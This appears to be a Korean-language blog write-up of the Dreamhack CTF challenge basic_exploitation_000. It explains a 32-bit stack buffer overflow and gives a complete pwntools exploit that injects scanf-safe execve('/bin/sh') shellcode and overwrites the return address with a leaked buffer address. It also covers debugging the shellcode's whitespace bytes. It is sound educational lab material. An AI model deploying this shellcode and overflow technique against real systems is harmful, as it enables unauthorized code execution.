Dreamhack basic_exploitation_000 Write-up
1. 문제 개요
스택 버퍼 오버플로우로 반환 주소(RET)를 덮는 것까지는 이전 문제들과 같지만, 이번엔 점프할 만한 좋은 함수(get_shell, read_flag)가 주어지지 않는다. 그래서 셸코드를 직접 buf에 주입한 뒤, RET를 buf 자신의 주소로 덮어 내가 심은 셸코드로 실행 흐름을 넘기는 것이 목표다.
| out_of_bound | No PIE | OOB 인덱스로 system("/bin/sh") 호출 |
| cmd_center | No Canary | 오버플로우로 인접 변수 변조 + strncmp 우회 |
| rao | No Canary + No PIE | 오버플로우로 RET를 get_shell 주소로 변조 |
| basic_exploitation_000 | No Canary + NX disabled | 셸코드를 주입하고 RET를 buf 주소로 변조 |
rao가 "이미 있는 함수(get_shell)로 점프"였다면, 000은 "점프할 코드가 없으니 내가 만들어서 메모리에 넣고 거기로 뛴다"는 한 단계 위의 기법이다. 이전에 배운 셸코드(shell_basic) 와 RET 덮기(rao) 를 합치는 문제다.
2. 보호기법 분석 (checksec)
Arch: i386-32-little → 32비트, p32 / context.arch="i386"
RELRO: No RELRO
Stack: No canary found → 오버플로우로 RET까지 자유롭게 덮기 가능
NX: NX disabled → 스택의 셸코드 실행 가능 (이게 결정적)
PIE: No PIE (0x8048000) → 코드 주소 고정
RWX: Has RWX segments → 스택 읽기/쓰기/실행 모두 가능
핵심은 NX disabled / Stack Executable. 이 덕분에 "스택(buf)에 셸코드를 심고 거기로 점프"하는 전략이 통한다. NX가 켜져 있었다면 이 방법은 불가능하고 ROP 같은 다음 단계 기법이 필요했을 것이다.
3. 소스 코드 분석
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80]; // 128바이트 버퍼
initialize();
printf("buf = (%p)\n", buf); // ← buf의 주소를 출력해줌!
scanf("%141s", buf); // ← 141바이트 입력 → 오버플로우
return 0;
}
결정적인 두 줄
(1) printf("buf = (%p)\n", buf) — 프로그램이 매 실행마다 buf의 주소를 출력해준다. 원격 서버에 ASLR이 켜져 있어 buf 주소가 실행마다 바뀌지만(0xfffb3ef8 → 0xffd1c998 → 0xffc15b18 ...), 이 출력을 받아서 RET에 쓰면 ASLR을 그대로 우회할 수 있다.
(2) scanf("%141s", buf) — buf는 128바이트인데 141바이트까지 받는다. 0x80(128) + SFP(4) + RET(4) = 136 < 141이므로 RET를 덮기에 충분하다.
4. 스택 레이아웃과 페이로드 설계
disassemble main의 lea eax,[ebp-0x80]에서 buf가 ebp-0x80임을 확인. 32비트 스택 구조:
[ buf (0x80 = 128바이트) ][ SFP (4) ][ RET (4) ]
↑ 셸코드를 여기 맨 앞에 심음 ↑ 여기를 buf 주소로 덮음
페이로드 구성:
payload = shellcode # buf 맨 앞에 셸코드
payload += b"\x90" * (0x80 - len(shellcode))# 나머지를 NOP으로 채워 0x80 맞춤
payload += b"BBBB" # SFP 4바이트
payload += p32(buf) # RET ← printf가 알려준 buf 주소
main이 ret하면 RET에 적힌 buf 주소로 점프 → buf 맨 앞의 셸코드 실행.
5. 트러블슈팅 — 실패 원인 분석
이 문제는 페이로드 구조는 처음부터 맞았지만, scanf가 셸코드를 중간에 잘라먹는 문제 때문에 네 번의 셸코드 교체를 거쳤다. 그 과정을 정리한다.
핵심 함정: scanf의 공백 바이트 절단
scanf("%s")는 공백류 문자를 만나면 입력을 거기서 끊는다. 끊는 바이트는 다음과 같다.
바이트 의미
| 0x09 | Tab |
| 0x0a | Line Feed (\n) |
| 0x0b | Vertical Tab |
| 0x0c | Form Feed |
| 0x0d | Carriage Return |
| 0x20 | Space |
셸코드 안에 이 중 하나라도 있으면, 그 지점에서 입력이 잘려 셸코드 뒷부분 + SFP + RET가 아예 전달되지 않는다. → RET가 안 덮이고 프로그램이 정상 종료(exit 0) → 연결 종료(EOF).
실패 1차 — shellcraft.execve("/bin/sh", 0, 0)
buf addr는 받았으나 셸 안 뜨고 exit code 0. 셸코드 중간의 공백 바이트에서 잘린 것으로 추정.
실패 2차 — 임의의 23바이트 무공백 셸코드

증상: 여전히 EOF. 해당 셸코드가 이 환경에서 정확히 동작하지 않았다.
실패 3차 — NOP sled 추가 (셸코드를 buf 끝에 배치)

RET → buf 시작(NOP 구간) → 미끄러져 셸코드 도달 전략을 시도. 여전히 EOF. 점프/정렬 문제가 아니라 셸코드 자체가 실행 중 죽는다는 의심으로 전환.
실패 4차 — shellcraft.sh() (len = 44)

shellcode len = 44로 정상 어셈블됐으나 EOF. 이때 공백 바이트 자동 검사 코드를 추가하여 원인을 직접 확인.
bad = [hex(b) for b in shellcode if b in (0x09,0x0a,0x0b,0x0c,0x0d,0x20)]
log.info("bad bytes in shellcode: %s" % bad)
→ 결과: bad bytes in shellcode: [11] (= 0x0b)
원인 확정: syscall 번호 11(0x0b)이 그대로 들어감
execve의 syscall 번호는 11이다. 보통 이를 push 0xb; pop eax(6a 0b ...) 또는 mov al, 0xb(b0 0b)로 넣는데, 둘 다 기계어에 0x0b 바이트를 만든다. 이 0x0b가 scanf의 절단 대상이라 셸코드가 그 직전에서 잘려 있었다.
최종 해결: syscall 번호를 산술로 생성
11을 직접 쓰지 않고, 공백 바이트가 아닌 값에서 빼서 만든다.
mov al, 0x10 ; 16 (b0 10)
sub al, 0x5 ; 16 - 5 = 11 (2c 05)
int 0x80
b0 10, 2c 05 모두 공백 바이트가 아니다. 이로써 bad bytes in shellcode: [] (깨끗)을 달성.
마지막 함정: interactive 타이밍

셸코드는 성공적으로 실행됐으나(cat flag 입력 시 $ 프롬프트가 한 번 더 떴음), p.interactive()가 너무 빨리 닫혀 명령 출력을 받기 전에 연결이 끊겼다.
해결: interactive 대신 셸에 명령을 직접 전송하고 결과를 표식으로 잡아 수신.
→ ls 결과로 basic_exploitation_000, flag, run.sh 확인, cat flag로 플래그 획득.

6. 최종 익스플로잇 코드
from pwn import *
context.arch = "i386"
context.os = "linux"
p = remote("host3.dreamhack.games", 20671)
# 1) printf가 출력한 buf 주소 수신 (ASLR 우회)
p.recvuntil(b"buf = ")
buf = eval(p.recvline().strip())
log.info("buf addr = " + hex(buf))
# 2) scanf-safe 셸코드 (공백 바이트 0개)
# execve("/bin/sh", NULL, NULL)
# syscall 번호 11을 (mov al,0x10; sub al,0x5)로 생성하여 0x0b 회피
asm_code = """
xor eax, eax
push eax
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; ebx = "/bin//sh"
xor ecx, ecx ; argv = NULL
xor edx, edx ; envp = NULL
xor eax, eax
mov al, 0x10 ; 16
sub al, 0x5 ; 16-5 = 11 (execve)
int 0x80
"""
shellcode = asm(asm_code)
# 3) 페이로드 조립
payload = shellcode
payload += b"\x90" * (0x80 - len(shellcode)) # NOP으로 buf 0x80 채움
payload += b"BBBB" # SFP
payload += p32(buf) # RET ← buf 주소
p.sendline(payload)
# 4) 셸 뜨면 명령 직접 전송 (interactive 타이밍 문제 회피)
p.sendline(b"ls")
p.sendline(b"cat flag")
p.sendline(b"echo ===END===")
print(p.recvuntil(b"===END===", timeout=5).decode(errors="replace"))
실행 결과:

7. 한 줄 요약과 배운 점
- scanf는 공백 바이트(0x09,0x0a,0x0b,0x0c,0x0d,0x20)에서 입력을 끊는다. read와 달리 바이트를 그대로 다 받지 않으므로, 셸코드에 이 바이트가 없어야 한다.
- syscall 번호 11(0x0b)이 곧 공백 바이트라서, execve 셸코드를 scanf 환경에 쓸 땐 번호를 산술(mov al,0x10; sub al,0x5)로 만들어 회피해야 한다.
- bad byte 자동 검사 코드([hex(b) for b in shellcode if b in (...)])를 페이로드에 끼워두면, "셸코드가 왜 안 도는가"를 추측이 아니라 데이터로 즉시 진단할 수 있다.
- printf의 %p 주소 노출 = ASLR 우회 발판. 주소가 매 실행 바뀌어도 그때그때 받아 쓰면 된다.
- p.interactive()가 일찍 닫히면 명령을 직접 sendline하고 표식(===END===)으로 출력을 잡는다.
다음 단계
이 풀이가 통한 이유는 NX가 꺼져 있었기 때문이다. NX가 켜진 환경에서는 스택의 셸코드가 실행되지 않으므로, 같은 오버플로우를 ROP(Return Oriented Programming) 로 이어가는 기법을 다음에 학습할 차례다.
'CTF' 카테고리의 다른 글
| SINT (0) | 2026.06.27 |
|---|---|
| Basic_Exploitation 001 (0) | 2026.06.17 |
| Return Address Overwrite (0) | 2026.06.17 |
| Out of Bounds (0) | 2026.06.17 |
| shellcode (0) | 2026.06.17 |